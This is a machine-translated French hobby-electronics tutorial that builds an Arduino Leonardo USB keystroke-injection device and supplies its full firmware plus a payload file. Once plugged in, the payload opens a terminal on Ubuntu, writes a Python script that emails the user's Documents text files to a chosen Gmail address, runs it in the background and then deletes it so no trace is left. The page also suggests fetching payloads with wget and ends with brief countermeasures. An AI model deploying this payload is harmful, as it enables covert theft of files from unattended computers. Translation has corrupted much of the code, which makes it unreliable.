Fabrication industrielle
Internet des objets industriel | Matériaux industriels | Entretien et réparation d'équipement | Programmation industrielle |
home  MfgRobots >> Fabrication industrielle >  >> Manufacturing Technology >> Processus de fabrication

Démonstration et prévention des exploits de clavier Arduino (HID)

Composants et fournitures

Arduino Leonardo
× 1
Lecteur de carte SD
× 1
Carte SD
× 1
Bouton poussoir 3 broches (avec résistance)
× 1
Câbles de raccordement (générique)
× 1
Câble USB-A vers Micro-USB
× 1

À propos de ce projet

Dans ce projet, nous allons utiliser un Arduino Leonardo pour simuler une éventuelle attaque USB à l'aide de HID (humain interface device).

J'ai créé ce didacticiel non pas pour aider les pirates informatiques, mais pour vous montrer certains dangers réels et comment vous protéger de ces dangers. Cet appareil n'est pas un appareil qui peut être utilisé sur n'importe quelle plate-forme pour les pirates, c'est plus une preuve de concept en détail.

Nous allons apprendre ce qui suit :

  • comment utiliser arduino leonardo pour émuler le clavier
  • comment lire les données des cartes SD
  • comment créer un script python qui analyse les fichiers et les envoie par e-mail
  • comment vous protéger des périphériques de piratage USB

Étape 1 : Matériel

Pièces :

1. Arduino leonardo

2. lecteur de carte micro USB

3. quelques Go de carte SD

4. bouton poussoir comme celui-ci (VCC, Terre et signal)

5. câbles de démarrage femelle-mâle et femelle-femelle

6. câble micro USB vers USB

Étape 2 : Construire l'appareil

Avant les instructions de construction, passons en revue le principe de fonctionnement :

Arduino leonardo peut se comporter comme un périphérique d'interface humaine (HID) et peut donc émuler la souris et le clavier. Nous allons utiliser cette fonctionnalité pour ouvrir un terminal (sous UBUNTU linux) et écrire un petit script qui accédera au dossier /Documents dans les fichiers copy.txt du dossier d'accueil de l'utilisateur et les enverra par courrier électronique à quelqu'un. Si vous souhaitez en savoir plus, passez à l'étape suivante.

Parce que c'est un appareil de démonstration, les choses sont vraiment simples, nous n'allons rien souder.

Instructions de construction

Avant de commencer, vérifiez les fichiers joints, j'ai joint des schémas frits et tous les fichiers nécessaires

1. Assemblez les composants :

* branchez le câble micro USB dans l'arduino

* connectez l'interrupteur à clé à l'arduino (masse, vcc et module de sortie à D8)

* connectez le lecteur de carte à l'arduino (en utilisant l'en-tête ICSP). Arduino leonardo n'a pas l'en-tête ICSP connecté aux broches numériques, vous devrez donc connecter le lecteur de carte à l'en-tête ICSP. Vous pouvez trouver quelques dessins de l'ICSP ici :https://learn.sparkfun.com/tutorials/installing-an.... Connectez la broche SS à la broche numérique 10

2. obtenez le code arduino , vous pouvez cloner mon référentiel arduino sur github :https://github.com/danionescu0/arduino et accéder à projects/keyboard_exploit ou l'obtenir ci-dessous :

#include "Keyboard.h"#include "SPI.h"#include "SD.h"String filenameOnCard ="hack.txt";String sleepCommandStartingPoint ="Sleep::";String commandStartingPoint ="Command ::";int delayBetweenCommands =10;const int buttonPin =8; const int chipSelect =10; int previousButtonState =HIGH; void setup() { pinMode(buttonPin, INPUT); Serial.begin(9600); Keyboard.begin(); if (!SD.begin(chipSelect)) { Serial.println("La carte a échoué ou n'est pas présente !"); retourner; }}boucle vide() { int buttonState =digitalRead(buttonPin); if ((buttonState !=previousButtonState) &&(buttonState ==HIGH)) { sdFileToKeyboard(); Serial.println("Téléchargé !"); retard (500); } previousButtonState =buttonState;}void sdFileToKeyboard() { File dataFile =SD.open(filenameOnCard); if (!dataFile) { Serial.println("Le nom de fichier spécifié n'est pas présent sur la carte SD, vérifiez filenameOnCard !"); } Ligne de chaîne ; while (dataFile.available()) { line =dataFile.readStringUntil('\n'); Serial.println(ligne); sendToKeyboard(ligne); } dataFile.close();}void sendToKeyboard(String line) { String workingLine =line; if (workingLine.indexOf(sleepCommandStartingPoint) !=-1) { sleepFor(line); retourner; } if (workingLine.indexOf(commandStartingPoint) ==-1) { Serial.print("Text:");Serial.println(line); Keyboard.println(ligne); appuyez sur Entrée(); retourner; } Serial.println("Commande :"); int charPosition =commandStartingPoint.length(); int lineLength =line.length(); ligne de travail +=","; while (workingLine !="") { workingLine =workingLine.substring(charPosition); Serial.print("WorkingLine:");Serial.println(workingLine); int specialCommandDelimiterPosition =workingLine.indexOf(","); String command =workingLine.substring(0, specialCommandDelimiterPosition); charPosition =specialCommandDelimiterPosition + 1; if (commande !="") { Serial.print("Commande trouvée :");Serial.println(commande); Keyboard.press(getCommandCode(commande)); delay(delayBetweenCommands); } } Keyboard.releaseAll(); delay(delayBetweenCommands);}void pressEnter() { Keyboard.press(KEY_RETURN); Keyboard.releaseAll();}void sleepFor(String line) { int sleepAmount =line.substring(sleepCommandStartingPoint.length(), line.length()).toInt(); Serial.print("Sleeping for:");Serial.println(sleepAmount); delay(sleepAmount);}char getCommandCode(String text) { char textCharacters[2]; text.toCharArray(textCharacters, 2); code de caractère =textCharacters[0] ; code =(texte =="KEY_LEFT_CTRL") ? KEY_LEFT_CTRL :code ; code =(texte =="KEY_LEFT_SHIFT") ? KEY_LEFT_SHIFT :code ; code =(texte =="KEY_LEFT_ALT") ? KEY_LEFT_ALT :code ; code =(texte =="KEY_UP_ARROW") ? KEY_UP_ARROW :code ; code =(texte =="KEY_DOWN_ARROW") ? KEY_DOWN_ARROW :code ; code =(texte =="KEY_LEFT_ARROW") ? KEY_LEFT_ARROW :code ; code =(texte =="KEY_RIGHT_ARROW") ? KEY_RIGHT_ARROW :code ; code =(texte =="KEY_RIGHT_GUI") ? KEY_RIGHT_GUI :code ; code =(texte =="KEY_BACKSPACE") ? KEY_BACKSPACE :code ; code =(texte =="KEY_TAB") ? KEY_TAB :code ; code =(texte =="KEY_RETURN") ? KEY_RETURN :code ; code =(texte =="KEY_ESC") ? KEY_ESC :code; code =(texte =="KEY_INSERT") ? KEY_INSERT :code ; code =(texte =="KEY_DELETE") ? KEY_DELETE :code ; code =(texte =="KEY_PAGE_UP") ? KEY_PAGE_UP :code ; code =(texte =="KEY_PAGE_DOWN") ? KEY_PAGE_DOWN :code ; code =(texte =="KEY_HOME") ? KEY_HOME :code ; code =(texte =="KEY_END") ? KEY_END :code ; code =(texte =="KEY_CAPS_LOCK") ? KEY_CAPS_LOCK :code ; code =(texte =="KEY_F1") ? KEY_F1 :code ; code =(texte =="KEY_F2") ? KEY_F2 :code ; code =(texte =="KEY_F3") ? KEY_F3 :code ; code =(texte =="KEY_F4") ? KEY_F4 :code ; code =(texte =="KEY_F5") ? KEY_F5 :code ; code =(texte =="KEY_F6") ? KEY_F6 :code ; code =(texte =="KEY_F7") ? KEY_F7 :code ; code =(texte =="KEY_F8") ? KEY_F8 :code ; code =(texte =="KEY_F9") ? KEY_F9 :code ; code =(texte =="KEY_F10") ? KEY_F10 :code ; code =(texte =="KEY_F11") ? KEY_F1 :code ; code =(texte =="KEY_F12") ? KEY_F2 :code ;

code de retour ;}

3. Téléchargez le code sur l'arduino, assurez-vous de sélectionner un débit en bauds de 9600, le port série et l'arduino leonardo

4. Formatez la carte SD en FAT16 ou FAT32

5. Si vous avez cloné le référentiel github ci-dessus, copier le fichier hack.txt sur la carte, sinon le fichier est listé ci-dessous :

Command::KEY_LEFT_CTRL,KEY_LEFT_ALT,tSleep::500vi hack.pySleep::300Command::KEY_INSERTimport smtplibimport glob, osfrom os.path import expanduserfrom email.MIMEMultipart import MIMEMultipartfrom emailText.MIMEBase import MIMEBasefrom email import.from os.path email.Utils import COMMASPACE, formatdatefrom email import Encoderssmtp_user ='sender_gmail_address'smtp_pass ='sender_gmail_password'to_address ='receiver_address'scan_documents_location ='Documents'subject =body ='Fichiers de l'ordinateur piraté\n''header :{1}\nSujet :{2}\n'.format(to_address, smtp_user, subject)def sendMail(to, subject, text, files=[]):msg =MIMEMultipart() msg['From'] =smtp_user msg ['To'] =COMMASPACE.join(to) msg['Date'] =formatdate(localtime=True) msg['Subject'] =subject msg.attach(MIMEText(text)) pour le fichier dans les fichiers :part =MIMEBase ('application', "octet-stream") part.set_payload(open(file,"rb").read()) Encoders.encode_base64(part) part.add_header('Content-Disposition', 'attachement; filename="%s"' % os.path.basename(file)) msg.attach(part) server =smtplib.SMTP('smtp.gmail.com:587') server.starttls() server.login(smtp_user, smtp_pass) server.sendmail(smtp_user, to, msg.as_string()) server.quit()sendMail([to_address], subject, body, glob.glob("{0}/{1}/*.txt".format) (expanduser("~"), scan_documents_location)))Sleep::50Command::KEY_ESCSleep::100:xSleep::500nohup python hack.py &Sleep::700rm -rf hack.pySleep::400Command::KEY_LEFT_ALT,KEY_F4 

6. Modifiez les lignes suivantes :

smtp_user ='sender_email_addr'smtp_pass ='sender_password'to_address ='receiver_address' 

Et remplacez par vos adresses e-mail

7. Retirez la carte et insérez-la dans le lecteur de carte arduino

sketch.fzz keyboard_exploit.ino hack.txt hack.py

Étape 3 : Comment ça marche en détails

Comment l'attaque fonctionnera :

1. Lorsque le bouton est enfoncé, le leonardo lira la carte SD à l'aide d'un lecteur de carte SD. Un fichier spécial contenant les clés et la combinaison de touches sera présent sur la carte. Le nom du fichier est "hack.txt".

Le fichier peut contenir du texte brut, et il sera transmis au clavier tel quel.

Il peut également contenir des commandes spéciales telles que "Sleep ::" et "Command ::".

Une ligne comme :

Sommeil : : 200 signifie un sommeil de 200 ms

Une ligne comme :

Commande : : KEY_LEFT_CTRL, KEY_LEFT_ALT, t signifie ctrl gauche enfoncé, alt gauche enfoncé, t enfoncé et tout est relâché

Vous pouvez vérifier toutes les touches spéciales ici :https://www.arduino.cc/en/Reference/KeyboardModif...

2. Leonardo lira ligne par ligne, interprétera les commandes et émulera les touches du clavier. Le fichier "hack.txt" contient une combinaison de clés qui effectue les opérations suivantes (pour UBUNTU linux) :

une. ouvre un terminal (CTRL + ALT + T)

b. ouvre un fichier python pour la création à l'aide de vi (écrit "vi hack.py"

c. écrit un script python à l'intérieur qui collecte tous les fichiers texte à l'intérieur du dossier d'accueil des documents et les envoie à une adresse gmail spécifiée

ré. exécute le fichier en arrière-plan ("nohup python hack.py &")

e. supprime le fichier (rm -rf hack.py)

F. ferme le terminal (ALT + F4)

Le tout tourne en quelques secondes et ne laisse pas de traces.

Améliorations et dépannage

* Vous avez peut-être remarqué qu'après avoir ouvert un terminal, j'écris le fichier python. une meilleure façon de le faire sera de l'héberger quelque part et de le télécharger à l'aide de la commande "wget ​​some_url", puis de le renommer en hack.py

* Nous pouvons également télécharger ou exécuter un exploit prêt à l'emploi pour le système d'exploitation ciblé

* le wifi peut être ajouté au module, et les hacks peuvent être téléchargés via WIFI

* vous pouvez utiliser arduino micro (qui est beaucoup plus petit) et y intégrer du code d'exploitation (pour le rendre plus petit)

Limites

1. Étant donné que l'appareil simulé (clavier et souris) n'a aucun retour, nous ne savons pas ce qui se passera après l'émission d'une commande, ce qui signifie que nous devons utiliser des délais. Par exemple, je lance une commande pour ouvrir le terminal, mais je ne sais pas quand il sera réellement ouvert, je dois donc spécifier un délai arbitraire pour m'assurer que les caractères tapés après ne seront pas perdus.

2. Nous pouvons rencontrer des problèmes d'autorisation comme ne pas avoir accès au port USB ou l'autorisation d'installer quelque chose

3. La vitesse de frappe n'est pas terrible sur leonardo

4. Fonctionnera uniquement sur un système d'exploitation ciblé (dans notre cas UBUNTU linux)

Dans l'étape suivante, nous essaierons de trouver des moyens d'exploiter ces limitations pour empêcher le piratage de notre ordinateur

Étape 4 :Contre-mesures

1. Désactivation des ports USB

- pour Windows vous pouvez consulter ce tutoriel :http://www.thewindowsclub.com/disable-enable-usb-w...

2. Liste blanche des périphériques USB :

- pour Windows :https://superuser.com/questions/1152012/block-unbl...

2. Verrouillez votre ordinateur lorsque vous n'êtes pas absent

3. Ne vous connectez pas en tant que root (nécessite des mots de passe pour installer quoi que ce soit)

4. Restez à jour (mises à jour automatiques activées)

Code

  • keyboard_exploit.ino
  • Extrait de code n° 1
  • Extrait de code 2
keyboard_exploit.inoArduino
Erreur lors de l'ouverture du fichier.
Extrait de code n°1Texte brut
#include "Keyboard.h"#include "SPI.h"#include "SD.h"String filenameOnCard ="hack.txt";String sleepCommandStartingPoint ="Sleep::";String commandStartingPoint ="Command::";int delayBetweenCommands =10;const int buttonPin =8; const int chipSelect =10; int previousButtonState =HIGH; void setup() { pinMode(buttonPin, INPUT); Serial.begin(9600); Keyboard.begin(); if (!SD.begin(chipSelect)) { Serial.println("La carte a échoué ou n'est pas présente !"); retourner; }}boucle vide() { int buttonState =digitalRead(buttonPin); if ((buttonState !=previousButtonState) &&(buttonState ==HIGH)) { sdFileToKeyboard(); Serial.println("Téléchargé !"); retard (500); } previousButtonState =buttonState;}void sdFileToKeyboard() { File dataFile =SD.open(filenameOnCard); if (!dataFile) { Serial.println("Le nom de fichier spécifié n'est pas présent sur la carte SD, vérifiez filenameOnCard !"); } Ligne de chaîne ; while (dataFile.available()) { line =dataFile.readStringUntil('\n'); Serial.println(ligne); sendToKeyboard(ligne); } dataFile.close();}void sendToKeyboard(String line) { String workingLine =line; if (workingLine.indexOf(sleepCommandStartingPoint) !=-1) { sleepFor(line); retourner; } if (workingLine.indexOf(commandStartingPoint) ==-1) { Serial.print("Text:");Serial.println(line); Keyboard.println(ligne); appuyez sur Entrée(); retourner; } Serial.println("Commande :"); int charPosition =commandStartingPoint.length(); int lineLength =line.length(); ligne de travail +=","; while (workingLine !="") { workingLine =workingLine.substring(charPosition); Serial.print("WorkingLine:");Serial.println(workingLine); int specialCommandDelimiterPosition =workingLine.indexOf(","); String command =workingLine.substring(0, specialCommandDelimiterPosition); charPosition =specialCommandDelimiterPosition + 1; if (commande !="") { Serial.print("Commande trouvée :");Serial.println(commande); Keyboard.press(getCommandCode(commande)); delay(delayBetweenCommands); } } Keyboard.releaseAll(); delay(delayBetweenCommands);}void pressEnter() { Keyboard.press(KEY_RETURN); Keyboard.releaseAll();}void sleepFor(String line) { int sleepAmount =line.substring(sleepCommandStartingPoint.length(), line.length()).toInt(); Serial.print("Sleeping for:");Serial.println(sleepAmount); delay(sleepAmount);}char getCommandCode(String text) { char textCharacters[2]; text.toCharArray(textCharacters, 2); code de caractère =textCharacters[0] ; code =(texte =="KEY_LEFT_CTRL") ? KEY_LEFT_CTRL :code ; code =(texte =="KEY_LEFT_SHIFT") ? KEY_LEFT_SHIFT :code ; code =(texte =="KEY_LEFT_ALT") ? KEY_LEFT_ALT :code ; code =(texte =="KEY_UP_ARROW") ? KEY_UP_ARROW :code ; code =(texte =="KEY_DOWN_ARROW") ? KEY_DOWN_ARROW :code ; code =(texte =="KEY_LEFT_ARROW") ? KEY_LEFT_ARROW :code ; code =(texte =="KEY_RIGHT_ARROW") ? KEY_RIGHT_ARROW :code ; code =(texte =="KEY_RIGHT_GUI") ? KEY_RIGHT_GUI :code ; code =(texte =="KEY_BACKSPACE") ? KEY_BACKSPACE :code ; code =(texte =="KEY_TAB") ? KEY_TAB :code ; code =(texte =="KEY_RETURN") ? KEY_RETURN :code ; code =(texte =="KEY_ESC") ? KEY_ESC :code; code =(texte =="KEY_INSERT") ? KEY_INSERT :code ; code =(texte =="KEY_DELETE") ? KEY_DELETE :code ; code =(texte =="KEY_PAGE_UP") ? KEY_PAGE_UP :code ; code =(texte =="KEY_PAGE_DOWN") ? KEY_PAGE_DOWN :code ; code =(texte =="KEY_HOME") ? KEY_HOME :code ; code =(texte =="KEY_END") ? KEY_END :code ; code =(texte =="KEY_CAPS_LOCK") ? KEY_CAPS_LOCK :code ; code =(texte =="KEY_F1") ? KEY_F1 :code ; code =(texte =="KEY_F2") ? KEY_F2 :code ; code =(texte =="KEY_F3") ? KEY_F3 :code ; code =(texte =="KEY_F4") ? KEY_F4 :code ; code =(texte =="KEY_F5") ? KEY_F5 :code ; code =(texte =="KEY_F6") ? KEY_F6 :code ; code =(texte =="KEY_F7") ? KEY_F7 :code ; code =(texte =="KEY_F8") ? KEY_F8 :code ; code =(texte =="KEY_F9") ? KEY_F9 :code ; code =(texte =="KEY_F10") ? KEY_F10 :code ; code =(texte =="KEY_F11") ? KEY_F1 :code ; code =(texte =="KEY_F12") ? KEY_F2 :code ;

code de retour ;}

Extrait de code #2Texte brut
Command::KEY_LEFT_CTRL,KEY_LEFT_ALT,tSleep::500vi hack.pySleep::300Command::KEY_INSERTimport smtplibimport glob, osfrom os.path import expanduserfrom email.MIMEMultipart import MIMEMultipartfrom email.MIMETextUtile import MIMEBase importfrom email. import COMMASPACE, formatdatefrom email import Encoderssmtp_user ='sender_gmail_address'smtp_pass ='sender_gmail_password'to_address ='receiver_address'scan_documents_location ='Documents'subject =body ='Fichiers de l'ordinateur piraté :{0}\n{1}À \nSubject :{2}\n'.format(to_address, smtp_user, subject)def sendMail(to, subject, text, files=[]):msg =MIMEMultipart() msg['From'] =smtp_user msg['To '] =COMMASPACE.join(to) msg['Date'] =formatdate(localtime=True) msg['Subject'] =subject msg.attach(MIMEText(text)) pour le fichier dans les fichiers :part =MIMEBase('application ', "octet-stream") part.set_payload(open(file,"rb").read()) Encoders.encode_base64(part) part.add_header('Content-Disposition', 'attac ment; filename="%s"' % os.path.basename(file)) msg.attach(part) server =smtplib.SMTP('smtp.gmail.com:587') server.starttls() server.login(smtp_user, smtp_pass) server.sendmail(smtp_user, to, msg.as_string()) server.quit()sendMail([to_address], subject, body, glob.glob("{0}/{1}/*.txt".format) (expanduser("~"), scan_documents_location)))Sleep::50Command::KEY_ESCSleep::100:xSleep::500nohup python hack.py &Sleep::700rm -rf hack.pySleep::400Command::KEY_LEFT_ALT,KEY_F4 
Github
https://github.com/danionescu0/arduinohttps://github.com/danionescu0/arduino

Schémas

sketch_D4S1ftXkTU.fzz
Référentiel Arduino
Le croquis est à l'intérieur de projects/keyboard_exploithttps://github.com/danionescu0/arduino

Processus de fabrication

  1. Animation LCD et jeux
  2. Voltmètre DIY utilisant Arduino et Smartphone
  3. Enregistreur de données de température et d'humidité
  4. Arduino + LED + Clavier MIDI + MuseScore =Tuteur de piano
  5. Communication Python3 et Arduino
  6. Automates cellulaires basés sur Arduino et OLED
  7. Radio FM utilisant Arduino et RDA8057M
  8. Système de présence basé sur Arduino et la feuille de calcul Google
  9. Matrice de clavier de prototypage à 64 touches pour Arduino